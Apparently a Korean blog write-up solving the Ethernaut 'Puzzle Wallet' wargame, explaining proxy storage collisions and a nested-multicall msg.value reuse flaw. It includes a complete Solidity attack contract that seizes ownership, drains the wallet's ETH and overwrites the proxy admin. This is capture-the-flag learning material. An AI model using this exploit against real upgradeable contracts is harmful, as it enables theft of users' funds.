이번 문제는 프록시 컨트랙트의 admin 자격을 탈취하는 것입니다. 프록시 구조에서 발생할 수 있는 문제들과 컨트랙트 상 문제를 동시에 활용해야 합니다.
앞선 문제에서도 한번 프록시 구조의 컨트랙트가 등장한 적이 있습니다. 그래도 다시 한번 간단히 설명하겠습니다.
스마트 컨트랙트는 한번 배포하면 수정이 불가능합니다. 따라서 만약 컨트랙트의 업데이트나 다른 컨트랙트로의 데이터 이전이 상당히 번거롭습니다.
따라서 ERC(EIP)-1967에서는 위와 같은 단점을 상세하기 위해 프록시 패턴의 컨트랙트 구조를 제안합니다. 이와 같이 따라야할 개발 표준도 정의하고 있습니다.
짥은 핵심은 이렇습니다. Proxy 컨트랙트와 Implementaion(logic) 컨트랙트로 이뤄지며 Proxy 컨트랙트는 version에 따라서 Implemataion 컨트랙트를 교체할 수도 있습니다. 기본적으로 delegatecall을 이용해 구현체 컨트랙트의 함수를 호출하며 프록시 컨트랙트의 context에서 실행되기 때문에 데이터 마이그레이션 부분에서 상당한 장점이 있습니다. 물론 이 특징은 워게임의 단골 주제이기도 합니다(스토리지 충돌, 함수 선택자 충돌 등등....)
delegatecall의 특성상 프록시 컨트랙트에서 로직 컨트랙트의 로직을 caller의 context에서 실행시킵니다. 여기서 context란 로직 컨트랙트의 로직을 실행하지만 프록시(caller)컨트랙트의 스토리지에 접근하며 msg.value와 msg.data역시 프록시 컨트랙트의 환경에서 실행됩니다. 이 부분은 문제의 힌트에서 가르키는 것 중 하나입니다.
나중에 자세히 한번 설명하겠습니다.
이제 문제 컨트랙트를 한번 살펴보겠습니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
문제는 UpgradableProxy를 상속한 프록시 컨트랙트와 로직 컨트랙트인 Puzzle Wallet 컨트랙트로 구성되어 있습니다. 그리고 UpgradableProxy 컨트랙트를 따라 올라가보면 결국 Proxy 컨트랙트를 상속받아 구현했다는 것을 알 수 있습니다.
구조는 이렇습니다.
Proxy Contract: PuzzleProxy -> Logic Contract: PuzzleWallet
위 프록시 컨트랙트에 직접적으로 구현되어 있지 않지만 상속 받은 조상 컨트랙트 중 fallback 함수에서 delegatecall을 실행시키는 부분이 구현되어 있습니다.
Proxy.sol
// Proxy.sol
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
로직 컨트랙트를 살펴보면 크게 중요한 특징은 아래와 같습니다.
컨트랙트를 살펴보면 admin을 탈취하기 위해서는 스토리지 충돌을 이용해야 한다는 것을 알 수 있습니다.
pendginAdmin - owner
admin - maxBalance
이렇게 스토리지가 충돌하기 때문에 delegatecall을 이용해 로직 컨트랙트의 함수를 호출하게 되면 maxBalance 값을 사용자의 주소로 변경하면 됩니다. 그러기 위해서 아래 함수를 실행시켜야 합니다.
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
owner 권한이 필요한데 위 충돌하는 변수들을 보면 owner는 프록시 컨트랙트의 context에서는 pendingAdmin이 됩니다. 다행히 pendingAdmin을 변경하는 함수는 별도의 자격이 필요하지 않습니다.
그리고 조건이 1개 더 존재합니다. setMaxBalance에서는 해당 컨트랙트의 잔액이 0이여야 합니다. 하지만 문제 인스턴스를 생성할 때 저희가 이미 0.001ETH를 전송했기 때문에 잔액은 0.001ETH 입니다. 여기서 multicall을 이용해 deposit된 수량을 뻥튀기해야 합니다!
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
muticall 함수는 배열 형식의 calldata를 받고 있습니다. 동일한 msg.value로 deposit을 뻥튀기 하는 것을 depositCalled를 통해 확인해 막고 있습니다. calldata에 deposit을 여러번 넣는 것은 불가능하지만 취약점이 하나 있습니다.
만약 multicall을 다시 호출하고 그 안에 deposit을 넣는다면? depositCalled는 다시 false로 초기화된 상태일 것이고 하나의 트랜잭션이기 때문에 msg.value도 여전히 동일할 것입니다. 그렇게되면 다시 msg.value 만큼 사용자의 deposit을 늘려줄 것입니다.
이제 위 취약점을 이용해 공격 컨트랙트를 작성해보겠습니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
// PuzzleWallet 인터페이스
interface Target {
function proposeNewAdmin(address _newAdmin) external;
function owner() external view returns (address);
function maxBalance() external view returns (uint256);
function whitelisted(address) external view returns (bool);
function balances(address) external view returns (uint256);
function init(uint256 _maxBalance) external;
function setMaxBalance(uint256 _maxBalance) external;
function addToWhitelist(address addr) external;
function deposit() external payable;
function execute(address to, uint256 value, bytes calldata data) external payable;
function multicall(bytes[] calldata data) external payable;
}
// Attack 컨트랙트
contract Attack {
Target public target;
bytes[] public multicall_data;
bytes[] public remulticall_data;
constructor(address _target) payable {
target = Target(_target);
}
function attack() public {
target.proposeNewAdmin(address(this)); // get Owner!
target.addToWhitelist(address(this)); // add this contract in white list
multicall_data.push(abi.encodeWithSelector(target.deposit.selector));
remulticall_data.push(abi.encodeWithSelector(target.deposit.selector));
multicall_data.push(abi.encodeWithSelector(target.multicall.selector, remulticall_data));
multicall_data.push(abi.encodeWithSelector(target.execute.selector, msg.sender, 0.002 ether, ""));
target.multicall{value: 0.001 ether}(multicall_data);
target.setMaxBalance(uint256(uint160(msg.sender)));
}
}
컨트랙트가 상속을 여러번 하는 구조라 파일 정의가 조금 귀찮아 인터페이스로 필요한 함수들만 정의해놓았습니다.
컨트랙트에는 이미 0.001ETH가 존재하고 있습니다. 만약 여기서 0.001ETH를 deposit하고 출금한다면 컨트랙트에는 또 다시 0.001ETH 존재할 것 입니다. 그러면 setMaxBalance를 호출하지 못하기 때문에 0.001ETH를 보냄과 동시에 calldata에 deposit을 두번할 수 있도록 calldata를 구성해 0.002ETH를 모두 출금하면 됩니다.
저는 이번 문제가 지금까지 푼 이더넛 문제 중 가장 어려웠던거 같습니다. 프록시 패턴을 이용해 admin을 탈취하는 방법까지는 쉽게 생각해 냈지만 multicall 부분에서 조금 해맸습니다. 이유는 이미 재진입 공격을 막고 있기 때문에 이 부분에 대한 취약점 분석을 하지 않았던 것 같습니다.